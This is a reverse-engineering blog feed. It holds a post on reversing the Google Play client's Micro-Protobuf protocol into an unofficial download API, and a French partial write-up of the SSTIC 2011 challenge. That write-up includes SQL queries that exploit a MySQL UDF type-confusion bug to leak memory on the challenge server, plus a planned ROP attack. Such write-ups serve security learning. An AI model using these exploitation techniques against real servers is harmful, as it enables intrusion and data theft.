Segmentation fault » Reverse Engineering

Reversing Google Play and Micro-Protobuf applications

Emilien Girault — Wed, 19 Sep 2012 20:11:23 +0000

I recently released a Google Play Unofficial Python API, which aims at providing a way for developers to query Google’s official Android application store. Such projects already exist, but they are all based on the previous version (« Android Market »), and are therefore limited. My goal was to adapt those projects and port them to the last version of Google Play.

This article first highights the limitations of existing projects. Then it focuses on the official Android client for Google Play and its internals, based on a Protobuf variant. Thanks to Androguard and its awesome static analysis features, I show how to automatically recover the .proto file of Google Play, enabling us to generate stubs for querying Google’s servers. Finally, I quickly introduce the unofficial API.

Existing projects

Google Play can be queried in two ways: using the official website or the Android client. The website contains pretty much all the useful information, such as app name and developer name, comments, last version number and release date, permissions required by the app, statistics, etc. I guess one could build a simple program that queries this website and parses the pages, but it would still have one limitation: you simply cannot download apps. Well, you can, but for this you will need an actual compatible phone, and as soon as you perform the install request, the application will get downloaded and installed on your phone. Then if you want to retrieve it in order to analyse it, you must plug in your phone and use adb pull. Some managed to get Google Play run within the emulator, but this is still a bit complicated and not straightforward: you need Java, Android SDK, customize your emulator ROM to embed Google Play, and script everyting yourself.

The main project I have been looking at is android-market-api, written in Java. Actually, I am a Python fan, and played much more with its Python equivalent. The goal of those projects is to simulate the network activity generated by the Android client, query Google Play servers, and parse the result. The underlying protocol used by Google Play is based on Google’s Protocol Buffers, aka Protobuf. For those who do not know, this library provides a way to encode messages in binary, compact blobs before sending them on the network, and decode them on the other side. The documentation contains plainty of details on the actual encoding format, so I won’t cover it. The only important thing to know about Protobuf is that it is much easier to decode messages if you know the structure of exchanged messages. Messages are composed of fields, each one having a tag, a name and a type. When encoded, a message embeds the tag, value and type (only basic types, or a generic « message » type) of each field, but not their names. Therefore, the semantics of each field must be guessed, and that is not always easy.

When Google Play Android client is able to query Google’s servers and download APKs, all network communications are done with Protobuf and HTTP(S). The underlying Protobuf file used by the unofficial API projects (and based on Android Market) has been published as a .proto file. The unofficial API can forge some of those requests and interpret results. While playing with them, I have managed to search Android apps, but I could not always download them. Indeed, this version of the API requires a numeric « assetId » corresponding to the app you want to download. When trying to get appropriate assetIds using other API methods such as search(), I got non-numeric values, such as: v2:com.fankewong.angrybirdsbackup2sd:1:4. This type of value is rejected by Google Server when trying to download the app. Too bad…

A first look at Google Play Android client

The weird thing is that the non-numeric assetId problem occurs quite often, but not on all apps. I guess this is because Google updated their API when they switched to Google Play; those projects are using the old version of the API. The only way to have up-to-date information and be able to download any app would then be to analyse the updated Android client, and adapt existing projects.

Here we go! We retrieve com.android.vending-1.apk from an up-to-date Android phone using adb, and we use our favorite Android RE tools. A first look at class names highlights a pretty explicit VendingProtos class, under the com.google.android.vending.remoting.protos package. It contains references to a package named com.google.protobuf.micro, embedded within the app. This package contains classes used to encode and decode messages. It is actually part of a public project, named micro-protobuf, which is a lightweight version of Protobuf. However, the underlying protocol remains the same.

Most of network traffic is sent using HTTPS. After installing our own on CA onto the phone and setting up an interception proxy like Burp, we can sniff traffic. From a black-box approach, the exchanged data looks like a binary stream:

Capturing a Protobuf response with Burp

All we need now is the .proto file of Google Play to be able to decode it. But how can we get this file? It is unfortunately not embedded within the app, so we have to find another way. A paper and a tool have been published on the subject, but work only when the studied app or program embeds some kind of metadata, used by reflection features of Protobuf. This metadata is generally embedded in regular stubs generated with Google’s standard protobuf compiler called protoc. However, this is not the case here since the Protobuf stubs embedded within Google Play Android client were not compiled with standard protoc. Micro-protobuf seems to remove this metadata, probably to make protocol reversing harder.

Anyway, is there a way to guess the structure of exchanged messages, just by having a look at the decompiled Java code of the app? Let’s go back to the VendingProtos class. It is contains many subclasses, among which one named AppDataProto:

public static final class AppDataProto extends MessageMicro
{
  private int cachedSize = -1;
  private boolean hasKey;
  private boolean hasValue;
  private String key_ = "";
  private String value_ = "";

  [...]

  public AppDataProto mergeFrom(CodedInputStreamMicro 
                                paramCodedInputStreamMicro)
    throws IOException
  {
    while (true)
    {
      int i = paramCodedInputStreamMicro.readTag();
      switch (i)
      {
      default:
        if (parseUnknownField(paramCodedInputStreamMicro, i))
          continue;
      case 0:
        return this;
      case 10:
        String str1 = paramCodedInputStreamMicro.readString();
        AppDataProto localAppDataProto1 = setKey(str1);
        break;
      case 18:
      }
      String str2 = paramCodedInputStreamMicro.readString();
      AppDataProto localAppDataProto2 = setValue(str2);
    }
  }

  public AppDataProto setKey(String paramString)
  {
    this.hasKey = 1;
    this.key_ = paramString;
    return this;
  }

  public AppDataProto setValue(String paramString)
  {
    this.hasValue = 1;
    this.value_ = paramString;
    return this;
  }

  [...]
}

We can guess that this class represents a Micro-Protobuf message (the extends MessageMicro part) and that it has two string fields: key and value. Their tag can be extracted from the mergeFrom() method, which aims at decode incoming binary messages. It is composed of a main loop (while(true)) and a switch statement. Each case – except the first and second ones – corresponds to a field. The value of each case is actually the binary representation of the tag and type of the field. Everything is in the documentation; to skip the details, the actual value of each case is equal to (tag << 3) | type. For instance, 10 stands for tag 1, type 2 (string). 18 means tag 2, string. Thus, the actual .proto file looks as follows:

message AppDataProto {
  optional string key = 1;
  optional string value = 2;
}

Actually type 2 is not exactly « string », but any length-delimited field. It could be a string, a series of bytes, or an embedded message itself. In that case, the code looks like this:

case 26:
  VendingProtos.AppDataProto localAppDataProto = new VendingProtos.AppDataProto();
  paramCodedInputStreamMicro.readMessage(localAppDataProto);
  DataMessageProto localDataMessageProto2 = addAppData(localAppDataProto);
  break;

This field has a tag equal to 3 (26 >> 3) and is a message which name is AppDataProto. In order to get this sub-message structure, we would have to repeat the analysis process to the corresponding class, and so on.

Automatic analysis

We now have a way of recovering a message structure by analyzing the generated code. All we need now is automating the process. For this, we can use Androguard, a multi-purpose framework intended to make Android reversing easier. With Androguard, we can simply open an APK, decompile it, parse its Dalvik code, and do all sorts of things. Once installed, one can use the provided androlyze tool to dynamically interact with the framework, and then write a script to automate everything.

Androguard lets us easily browse the available classes and find those that extends MessageMicro.

In [1]: apk = APK('com.android.vending-1.apk')
In [2]: dvm = DalvikVMFormat(apk.get_dex())
In [3]: vma = uVMAnalysis(dvm)
In [4]: proto_classes = filter(lambda c: "MessageMicro;" in c.get_superclassname(), dvm.get_classes())
In [5]: proto_class_names = map(lambda c: c.get_name(), proto_classes)

Then we extract the mergeFrom() method of each class by filtering the method list generated by dvm.get_methods_class(class_name). The basic block list of each method can be obtained with vma.get_method(m).basic_blocks.gets().
The first is usually the one that implements the switch instruction. In Dalvik, a switch is often represented as a sparse-switch instruction, which operand is a table composed of a list of values and offsets, called sparse-switch-payload. Here is an example:

invoke-virtual v3, Lcom/google/protobuf/micro/CodedInputStreamMicro;->readTag()I
move-result v0
sparse-switch v0, +52 (0xa4)
[...]
sparse-switch-payload sparse-switch-payload 0:9 a:a 12:12 1a:1a 22:22 2a:2a 32:32 3a:3a 42:42 4a:4a

Each (value, offset) tuple correspond to a case of the switch; if the value matches the compared register, then the execution continues to the corresponding offset. Once we are able to browse each case of the switch (and its target basic block), we can determine the name of each field and its type by examining the name of the corresponding accessors. For instance, here is a typical basic block:

invoke-virtual v3, Lcom/google/protobuf/micro/CodedInputStreamMicro;->readString()Ljava/lang/String;
move-result-object v1
invoke-virtual v2, v1, L[...]AddressProto;->setCity(Ljava/lang/String;)L[...]AddressProto;
goto -25

Each basic block contains two accessor calls: readXXX() and setYYY(). Their goal is to read an incoming series of bytes and initialize one field of the message. XXX corresponds to the type of the field (here, string), and YYY to its name (city).

The simplified analysis algorithm looks like:

for each class that extends MessageMicro:
  get its mergeFrom() method
    find the sparse-switch instruction
    get the corresponding sparse-switch-payload
    index all values and offsets in a dict
    for each value, offset:
      tag = value >> 3
      get the target basic block using the offset
      find readXXX() and setYYY() calls
      type = XXX
      name = YYY
      index the tuple (tag, type, name)

Then we only need to format the output in order to generate a parsable .proto file, dealing with nested messages and groups among other things.

I called the resulting script androproto.py. It is released with the API code; feel free to play with it. It is able to analyze the target app and print the recovered Profotuf file. I apologize for the dirty code; since Google Play is the only app using Micro-Protobuf that I’ve analyzed, this script is pretty specific. But it should work with any app using this library, with a few changes. Its output on Google Play app looks like this:

message AckNotificationResponse {
}
message AndroidAppDeliveryData {
  optional int64 downloadSize = 1;
  optional string signature = 2;
  optional string downloadUrl = 3;
  repeated AppFileMetadata additionalFile = 4;
  repeated HttpCookie downloadAuthCookie = 5;
  optional bool forwardLocked = 6;
  optional int64 refundTimeout = 7;
  optional bool serverInitiated = 8;
  optional int64 postInstallRefundWindowMillis = 9;
  optional bool immediateStartNeeded = 10;
  optional AndroidAppPatchData patchData = 11;
  optional EncryptionParams encryptionParams = 12;
}
message AndroidAppPatchData {
  optional int32 baseVersionCode = 1;
  optional string baseSignature = 2;
  optional string downloadUrl = 3;
  optional int32 patchFormat = 4;
  optional int64 maxPatchSize = 5;
}
[...]

The resulting output is almost usable with protoc. Almost, because there is a duplicate message that you need to manually remove in order to make protoc happy. But after taking care of that detail, you have a working googleplay.proto that you can use to generate C++, Java and Python stubs for querying Google Play API!

Building Google Play Unofficial Python API

In order to parse Google Play protobuf messages, we dump each server response intercepted with Burp into a file, an use:

protoc --decode=ResponseWrapper googleplay.proto < dump.bin

ResponseWrapper is the root message type; it can be easily guessed by looking at the message names. Once we have a clue of what’s received by the application, we can start building our own API. Since we need a valid auth token from Google server, we need first to authenticate. I simply reused the code from android-market-api-py. Once logged in, we need to deal with protobuf traffic. For most of API requests, the Android client does not send protobuf messages, but only simple GET or POST requests, such as search?c=3&q=%s. In order to parse Protobuf responses, we use the generated Python module (googleplay_pb2):

message = googleplay_pb2.ResponseWrapper.FromString(data)

The resulting message can be browsed like a regular Python object. For some API methods, Google servers also return some prefetch data. A prefetch element contains a URL and raw data. It acts like a cache and can be dealt with pretty easily with a few lines of code.

The final API is pretty straightforward to use. Just follow the README. First make sure to edit googleplay.py and insert your phone’s androidID, then supply your Google credentials in config.py. You can use the provided scripts, producing CSV output, and prettify them with pp. Sorry for the following truncated output due to this blog…

$ alias pp="column -s ';' -t"  # pretty-print CSV

$ python search.py earth | pp
Title                           Package name                            Creator                  Super Dev  Price    Offer Type  Version Code  Size     Rating  Num Downloads
Google Earth                    com.google.earth                        Google Inc.              1          Gratuit  1           53            8.6MB    4.46    10 000 000+
Terre HD Free Edition           ru.gonorovsky.kv.livewall.earthhd       Stanislav Gonorovsky     0          Gratuit  1           33            4.7MB    4.47    1 000 000+
Earth Live Wallpaper            com.seb.SLWP                            unixseb                  0          Gratuit  1           60            687.4KB  4.06    5 000 000+
Super Earth Wallpaper Free      com.mx.spacelwpfree                     Mariux                   0          Gratuit  1           2             1.8MB    4.41    100 000+
Earth And Legend                com.dvidearts.earthandlegend            DVide Arts Incorporated  0          5,99 €   1           6             6.8MB    4.82    50 000+
Earth 3D                        com.jmsys.earth3d                       Dokon Jang               0          Gratuit  1           12            3.4MB    4.05    500 000+
[...]

$ python categories.py | pp
ID                   Name
GAME                 Jeux
NEWS_AND_MAGAZINES   Actualités et magazines
COMICS               BD
LIBRARIES_AND_DEMO   Bibliothèques et démos
COMMUNICATION        Communication
ENTERTAINMENT        Divertissement
EDUCATION            Enseignement
FINANCE              Finance

$ python list.py 
Usage: list.py category [subcategory] [nb_results] [offset]
List subcategories and apps within them.
category: To obtain a list of supported catagories, use categories.py
subcategory: You can get a list of all subcategories available, by supplying a valid category

$ python list.py WEATHER | pp
Subcategory ID            Name
apps_topselling_paid      Top payant
apps_topselling_free      Top gratuit
apps_topgrossing          Les plus rentables
apps_topselling_new_paid  Top des nouveautés payantes
apps_topselling_new_free  Top des nouveautés gratuites

$ python list.py WEATHER apps_topselling_free | pp
Title                  Package name                                  Creator          Super Dev  Price    Offer Type  Version Code  Size    Rating  Num Downloads
La chaine météo        com.lachainemeteo.androidapp                  METEO CONSULT    0          Gratuit  1           8             4.6MB   4.38    1 000 000+
Météo-France           fr.meteo                                      Météo-France     0          Gratuit  1           11            2.4MB   3.63    1 000 000+
GO Weather EX          com.gau.go.launcherex.gowidget.weatherwidget  GO Launcher EX   0          Gratuit  1           25            6.5MB   4.40    10 000 000+
Thermomètre (Gratuit)  com.xiaad.android.thermometertrial            Mobiquité        0          Gratuit  1           60            3.6MB   3.78    1 000 000+

$ python permissions.py com.google.android.gm
android.permission.ACCESS_NETWORK_STATE
android.permission.GET_ACCOUNTS
android.permission.MANAGE_ACCOUNTS
android.permission.INTERNET
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.READ_SYNC_SETTINGS
android.permission.READ_SYNC_STATS
android.permission.RECEIVE_BOOT_COMPLETED
[...]

$ python download.py com.google.android.gm
Downloading 2.7MB... Done

$ file com.google.android.gm.apk 
com.google.android.gm.apk: Zip archive data, at least v2.0 to extract

Conclusion

Although there is no metadata within Micro-Protobuf applications, recovering .proto files is still doable and it can still be done automatically. The lack of obfuscation is clearly an advantage for an attacker, since all class and method names are easy to understand. Having a non-official Google Play API is handy for many reasons: performing statistics that aren’t available on the official front-end, looking for plagiarism, automatic malware search / downloading / analysis (Androguard to the rescue)… Feel free to browse the source, fork the project, and improve it!

Solution partielle du challenge SSTIC 2011

Emilien Girault — Thu, 26 May 2011 17:10:31 +0000

Cela fait un petit moment que je planche sur le célèbre challenge de SSTIC 2011. Étant donné que je ne pense pas en venir complétement à bout, voici quelques éléments de réponses qui résument ma progression. Certains m’ayant devancé, je vais tenter d’insister sur les parties non couvertes actuellement.

Extraction des pistes

Le but est d’analyser une vidéo et d’en extraire un mail. Il s’agit d’une vidéo au format MP4. Ne connaissant absolument pas ce format au moment où je me suis penché sur le challenge, j’ai donc préféré me documenter sur le sujet. MP4 est en réalité un conteneur, et hérite de l’ISO Base Media File Format. Les specs de ce dernier sont libres de droits, mais pas celles de MP4. Qu’à cela ne tienne, elles suffisent amplement.

On y apprend que MP4 permet de stocker tout type d’information : vidéo, son, et autre. Un fichier MP4 est décomposé en boxes, qui sont structurées sous la forme d’un arbre. L’outil MP4Box permet de les parser, mais je ne l’ai découvert que tardivement ; aussi je me suis lancé dans l’écriture d’un outil manuel en Python.

E:\Challenges\SSTIC2011>boxes.py challenge
challenge {
  FileTypeBox(24 - ftyp - mp42 - 0),
  Box(4170138 - mdat),
  Box(277450 - mdat),
  Box(178748 - mdat),
  MovieBox(12507 - moov) {
    Box(108 - mvhd),
    TrackBox(5982 - trak - 0 ) {
      Box(92 - tkhd),
      SsticBox(12 - ssti)[   ?ssti    ],
      MediaBox(5822 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - vide -  ),
        MediaInformationBox(5749 - minf) {
          Box(20 - vmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(5685 - stbl) {
            SampleDescriptionBox(181 - stsd) {
              1 entries
              VisualSampleEntry(165 - mp4v - index: 1) {
                size: 640x480
                resolution: 0x00480000/0x00480000
                compressorname:
                depth: 0018

              }
            },
            Box(3248 - stts),
            SampleSizeBox(2092 - stsz) {
              sample_size = 0
              sample_count = 518

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(88 - stco) {
              18 entries
            },
            Box(28 - stss)
          }
        }
      },
      Box(48 - edts)
    },
    TrackBox(3492 - trak - 1 ) {
      Box(92 - tkhd),
      MediaBox(3372 - mdia) {
        Box(32 - mdhd),
        HandlerBox(33 - hdlr - soun -  ),
        MediaInformationBox(3299 - minf) {
          Box(16 - smhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(3239 - stbl) {
            SampleDescriptionBox(103 - stsd) {
              1 entries
              Box(87 - mp4a)
            },
            Box(24 - stts),
            SampleSizeBox(2980 - stsz) {
              sample_size = 0
              sample_count = 740

            },
            SampleToChunkBox(40 - stsc) {
              2 entries
            },
            ChunkOffsetBox(84 - stco) {
              17 entries
            }
          }
        }
      },
      UserDataBox(20 - udta) {
        NameBox(12 - name -    ?name    )
      }
    },
    TrackBox(2917 - trak - 2 ) {
      Box(92 - tkhd),
      MediaBox(2817 - mdia) {
        Box(32 - mdhd),
        HandlerBox(45 - hdlr - data - SsticHandler ),
        MediaInformationBox(2732 - minf) {
          Box(12 - nmhd),
          DataInformationBox(36 - dinf) {
            DataReferenceBox(28 - dref) {
              1 entries
              DataEntryUrlBox(12 - url  - flags: 000001, url: )
            }
          },
          SampleTableBox(2676 - stbl) {
            SampleDescriptionBox(32 - stsd) {
              1 entries
              ElfEntry(16 - elf  - index: 1)
            },
            Box(24 - stts),
            SampleToChunkBox(1552 - stsc) {
              128 entries
            },
            SampleSizeBox(532 - stsz) {
              sample_size = 0
              sample_count = 128

            },
            ChunkOffsetBox(528 - stco) {
              128 entries
            }
          }
        }
      }
    }
  }
}

Le fichier est ainsi composé de 3 tracks : une video, une piste son, et une piste apparemment inconnue. On peut extraire chacune de ces pistes en utilisant les méta-données du fichier, et en particulier les tables STSZ, STSC et STCO. L’algorithme d’extraction n’est pas bien complexe et peut être trouvé grâce aux spécifications.

La piste audio est en clair, mais pas très utile – quelque chose qui ressemble à des frappes sur un clavier. La vidéo est illisible, a priori chiffrée grâce à des DRM. Enfin, la piste 3 n’est autre qu’un fichier ELF !

Analyse du fichier ELF

Avec IDA, on s’aperçoit rapidement que le binaire n’est autre qu’un plugin VLC. En effet, il comporte tous les symboles propres à ce type de plugin.On suppose que ce plugin est nécessaire à la lecture de ladite vidéo. Les sources de VLC permettant de se rendre compte qu’il s’agit en fait d’une version modifiée du plugin officiel libmp4.so. Un certain nombre de fonctions ont été ajoutées :

sstic_drm_init()
sstic_read_secret1(char*dir, char* buf1)
sstic_check_secret1(char*buf1)
sstic_read_secret2(char*dir, char*buf2)
sstic_check_secret2(char*buf2)
sstic_lame_derive_key(char* bufKey, char* buf1, char* buf2)

Il est possible de débuger le plugin en le plaçant dans le dossier des librairies de VLC sur une machine Linux, puis en s’attachant à VLC avec GDB.

En gros, sstic_drm_init() est appelée dès l’initialisation du plugin, et est chargée d’appeler les fonctions suivantes. Le but de ce plugin est de déchiffrer la vidéo a l’aide d’une clé générée à partir de deux fichiers, secret1.dat et secret2.dat situés dans le dossier ~/sstic2011/. Voici un schéma expliquant l’algorithme reversé à grand coup d’IDA et Hex Rays :

: Algorithme de déchiffrement

Pour résumer :

secret1.dat (32 octets) est lu, puis son emprunte MD5 est calculée et comparée avec une constante présente en dur dans le binaire
secret2.dat (1024 octets) est lu, puis déchiffré à l’aide d’un algorithme symétrique maison (cf plus bas) et d’une clé fixe stockée. Le plaintext résultant est comparé à un plaintext lui aussi stocké en dur.
Si les deux tests précédents réussissent, les 2 secrets originaux sont passés à la fonction sstic_lame_derive_key, qui ne fait que les xorrer pour finalement obtenir un secret de 32 octets (pour secret1.dat, qui fait 1024 octets, tous les blocs de 32 octet sont xorrés)
Le secret résultant est utilisé comme une clé RC2 qui servira à déchiffrer chaque sample de la vidéo lors de sa lecture. Au passage, l’implémentation RC2 est la même que celle d’OpenSSL, pas de soucis de ce côté la.

Autrement dit, il nous faut nécessairement secret1 et secret2 si l’on veut déchiffrer la vidéo. C’est là que les choses se compliquent…

Secret2.dat : Crypto + MMX

Pour trouver secret2.dat, on remarque qu’il « suffit » d’inverser l’algorithme de déchiffrement implémenté dans la fonction « decrypt », pour trouver le chiffré qui donnera le bon clair une fois déchiffré. Cependant, il ne s’agit pas directement d’un algorithme standard… Celui-ci utilise massivement les instructions Intel MMX, qui manipulent des entiers sur 128 bits. Le code ASM est une horreur, et je ne parle pas du listing généré par Hex Rays…

: Pseudo-code partiel de decrypt()

Pas moins de 351 variables, plus de 2100 lignes de code, et des opérations logiques dans tous les sens. Miam ! Bon, on prend notre courage à deux mains, et on y va. Premièrement, on remarque l’utilisation de constantes un peu particulières.

for ( sum = 0x9E3779B9 * a3; ; sum += -0x9E3779B9u ) {

Notre ami Google nous indique qu’une boucle faisant intervenir de telles constantes est utilisée par les algorithmes TEA et XTEA. Cependant, ces algorithmes ont une taille de clé de 128 bits, et une taille de bloc de 64 bits, alors qu’ici, la clé fait 2048 octets…

Deuxièmement, on s’aperçoit qu’il y a beaucoup de code redondant dans ce listing. Cela est du à l’utilisation intensive des techniques de loop unrolling, qui consistent en gros à minimiser le nombre de tours dans une boucle en écrivant n fois la même instruction dans un tour (appliqué à des données différentes).

Troisièmement, en supposant qu’il s’agisse de l’algorithme TEA, la logique voudrait qu’on trouve des opérations + et -. Or ce n’est pas le cas ici ; on a affaire à des opérations logiques uniquement. Après on long moment de réflexion, je me suis rendu compte que ces opérations logiques servent en réalité à propager des retenues… utilisées justement lors des opérations d’addition et soustraction. On se rend ainsi compte que chaque addition a été remplacé par une série de xor, not et and équivalente au schéma suivant :

Additionneur

Attention, chaque fil ici représente non pas 1 bit, mais 128, soit 16 octets ! En gros, l’auteur du challenge a réimplémenté son propre + et – en recodant ces 2 opérations, prenant comme unité 128 bits de données. Soit !

En utilisant toutes ces information, et une bonne dose de motivation, j’ai pu confirmé qu’il s’agit bien de l’algorithme TEA, qui finalement n’est pas si complexe que ça (cf Wikipédia) :

void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}
A la différence près que les uint32 de ce code doivent être remplacés par des blocs de 16 octets. Autrement dit, toutes les tailles doivent être multipliées par 4. Cela n’étant pas standard, il n’existe aucune librairie (à ma connaissance) faisant cela. Il est donc nécessaire de recoder l’opération encrypt() à la main !
Pour cela, j’ai copié/collé le code d’Hex Rays dans un fichier .c, puis je l’ai adapté afin qu’il compile dans un premier temps avec Visual Studio. Puis je l’ai optimisé en taille (suppression du loop unrolling). Et enfin, je l’ai inversé afin d’effectuer non pas un déchiffrement, mais un chiffrement.
On lance tout ça avec le plaintext et la clé tous deux stockés en dur dans le programme, et on obtient un secret2.dat valide. J’ai pu le confirmer en debuggant le plugin avec GDB, un breakpoint étant posé au bon endroit dans sstic_check_secret2(). Et une étape de passée !
Secret1.dat : MySQL, UDF and rock’n roll
Ici, contrairement à secret2.dat, nous ne disposons que du MD5 du fichier. Bruteforcer 32 octets étant une perte de temps, il doit donc y avoir un moyen de l’obtenir… J’ai séché pendant pas mal de temps, et c’est là que l’appel à un ami a servi (merci Dad) !
Ceux qui ont regardé le fichier original de la vidéo dans un éditeur auront certainement remarqué le « introduction.txt ». Il s’agit en réalité du nom d’un fichier texte qui a été gzipé et embarqué dans la vidéo. Malheureusement, il n’est pas en un seul bloc, mais en plusieurs, qui ont été éparpillées dans le fichier, aux endroits non utilisés (un fichier MP4 peut contenir du « vide »). Lors de notre opération d’extraction des pistes, nous nous sommes focalisés sur les données utiles du fichier. Et si nous faisions l’inverse ? Le fichier gzip peut être obtenu justement grâce à ce procédé, c’est-à-dire en suppriment tous les chunks non utilisés du fichier.
Une fois décompressé, on obtient la notice suivante :
Cher participant,
Le développeur étourdi d'un nouveau système de gestion de base de données
révolutionnaire a malencontreusement oublié quelques fichiers sur son serveur
web. Une partie des sources et des objets de ce SGBD pourraient se révéler
utile afin d'exploiter une éventuelle vulnérabilité.
Sauras-tu en tirer profit pour lire la clé présente dans le fichier
secret1.dat ?
url      : http://XX.XX.XX.XX/ login    : sstic2011 password : XXXXXXXX
--------------------------------------------------------------------------------
Toute attaque par déni de service est formellement interdite. Les organisateurs
du challenge se réservent le droit de bannir l'adresse IP de toute machine
effectuant un déni de service sur le serveur.
--------------------------------------------------------------------------------
On se connecte sur l’URL fournie, et on récupère trois fichiers :

udf.so
udf.c
lobster_dog.jpg (s’il s’agit d’une blague de l’auteur du challenge, je n’ai pas du la saisir  

UDF signifie User Defined Functions ; il s’agit de plugins MySQL permettant de rajouter des fonctions sur un serveur. Le port 3306 du serveur hébergeant ces fichiers est ouverts, et les mêmes identifiants fonctionnent. Il y a donc bien quelque chose à exploiter ici. Fouillons un peu :
mysql> select version();
+------------------+
| 1.3.337sstic2011 |
+------------------+
| 1.3.337sstic2011 |
+------------------+
1 row in set (0.56 sec)

mysql> show databases;
+----------+
| Database |
+----------+
|   system |
|    sstic |
+----------+
2 rows in set (0.22 sec)

mysql> use sstic;
Database changed
mysql> show tables;
+--------+
| Tables |
+--------+
|  users |
+--------+
1 row in set (0.20 sec)

mysql> select * from users;
+------+--------+----------------------------------+
| id   | login  | password                         |
+------+--------+----------------------------------+
| 0    | root   | 3e47b75000b0924b6c9ba5759a7cf15d |    => nothing
| 1    | guest  | a76637b62ea99acda12f5859313f539a |    => interesting
| 2    | nobody | 6c92285fa6d3e827b198d120ea3ac674 |    => here
| 3    | *      | 5058f1af8388633f609cadb75a75dc9d |    => .
+------+--------+----------------------------------+
4 rows in set (0.28 sec)

mysql> use system;
Database changed
mysql> show tables;
+-------------+
| Tables      |
+-------------+
| information |
+-------------+
1 row in set (0.23 sec)

mysql> select * from information;
+------------------+----------+
| version          | security |
+------------------+----------+
| 1.3.337sstic2011 | SECCOMP  |
+------------------+----------+
1 row in set (0.22 sec)
Visiblement SECCOMP est activé, ce qui nous empêchera d’effectuer des appels systèmes autres que read() et write() sur des fichiers déjà ouverts. Croisons donc les doigts pour que le serveur ouvre secret1.dat en lecture avant d’activer ce mode  
Une petite analyse du .c (analysé en partie sur ce blog) montre que celui-ci possède un bug dans la gestion d’un champ union, et est vulnérable à deux failles :

Une fuite d’information qui permet d’afficher n’importe quelle adresse mémoire
Une exécution de code à distance

Cependant, ces deux failles restents assez complexes à exploiter compte tenu du fait que nous sommes dans l’impossibilité de débugger le serveur distant, et que le udf.so donné ne parvient pas à se lancer sur un serveur MySQL standard. Au moindre problème, la connexion est coupée et il faut tout recommencer.
Toutefois, en exploitant la première faille et son bug de typage, on se rend compte que l’on peut obtenir des adresses mémoires :
mysql> select abs('lala');
+-----------+
| 153315552 |
+-----------+
| 153315552 |
+-----------+
1 row in set (0.59 sec)

mysql> select concat("", 153315552);
+------+
| lala |
+------+
| lala |
+------+
1 row in set (0.20 sec)
En réalité, 153315552 n’est pas directement l’adresse de la chaîne « lala », mais l’adresse de la structure « val » correspondante, qui ressemble à ceci :
struct val {
  int unknown;
  union value {
    int i;                    //4
    void * p;                 //4
  }
  int size;                   //8
  int *(expand)(val*);        //12
}
En gros, on peut demander à la fonction concat() de traiter une fausse structure située à une adresse choisie. Selon que l’on passe cette structure en 1er ou 2ème argument à la fonction, cela débouche soit sur une exécution de code (pointeur expand) ou sur une fuite (pointeur p).
Étant donné le caractère « blind » de cette exploitation, j’ai préféré dans un premier temps dumper le binaire du serveur MySQL. Celui-ci est chargé de façon standard à l’adresse 0×08048000. En forgeant une fausse structure et en la passant à substring(), elle aussi vulnérable, et en scriptant tout ça en python, et on récupère ce fameux binaire.
Seul soucis : celui-ci n’a aucun symbole et aucune table de section référencée. Impossible de le lancer, donc. En tout cas, on voit bien qu’il y a une référence à secret1.dat (les noms de fonction ne sont pas d’origine, mais ont été devinés).
int __cdecl my_open_secret1()
{
 int fd; // [sp+1Ch] [bp-Ch]@1

 fd = ((int (__cdecl *)(_DWORD, _DWORD))my_open)("secret1.dat", 0);
 if ( fd == -1 )
 sub_8048C28();
 return fd;
}
L’appel à open() est en réalité un appel à une fonction dans la section .plt du programme, qui utilise elle-même la section .got. Pour récupérer le code de cette fonction, j’ai utilisé toujours cette même faille de fuite d’information. Au final, l’adresse référencée est dans une librairie (adresse 0xb7XXXXXX). Son code est constitué d’instructions mov pour digitaliser des registres généraux, suivies d’un call *%gs:0×10, qui n’est autre qu’un appel système (le code appelé débouche certainement sur l’instruction sysenter ou int 0×80). La valeur d’eax, 5, permet de vérifier qu’il s’agit bien de sys_open. Le file descriptor retourné est stocké à l’adresse 0x0804F18C, est n’est autre que 3 (0, 1 et 2 correspondant respectivement à stdin, stdout et stderr).
Tout ce qu’il reste à faire, c’est donc trouver un moyen de faire exécuter un read() sur le file descriptor de secret1.dat afin de lire ses 32 octets qui nous manquent pour déchiffrer cette fichue vidéo. Seulement, je ne vois qu’une seule technique pour cela, et je n’ai pas eu le temps de la tester. La protection NX étant activée (pour s’en rendre compte il suffit de voire que l’exécution d’un ret situé dans le heap foire, alors qu’elle fonctionne dans la section .text), la seule solution reste à mon avis le Return Oriented Programming. Sauf que ne disposant ni d’une forte expérience dans cet art ancestral, ni d’une quantité de temps suffisante (les RSSIL approchent !), je n’ai pas eu le temps de creuser plus loin. Dommage, car j’ai vraiment l’impression d’être tout près du but… à un appel système près  . A supposer bien sûr que le déchiffrement de la vidéo est l’étape finale… (là, je sens comme un doute m’envahir)
To be continued
Comme l’année dernière, ce challenge réunit à la fois du parsing, du reverse engineering et de la crypto, mais en plus une partie exploitation de service à distance, sur laquelle j’ai buté. J’attends avec impatience la solution de l’étape manquante, à savoir la récupération de secret1.dat. En tout cas, je ne regrette pas avoir passé de nombreuses heures (jours, en fait) sur cette épreuve, qui m’aura fait quelques nœuds aux neurones.

Bypassing SEHOP on Windows 7

Emilien Girault — Mon, 21 Dec 2009 12:59:28 +0000

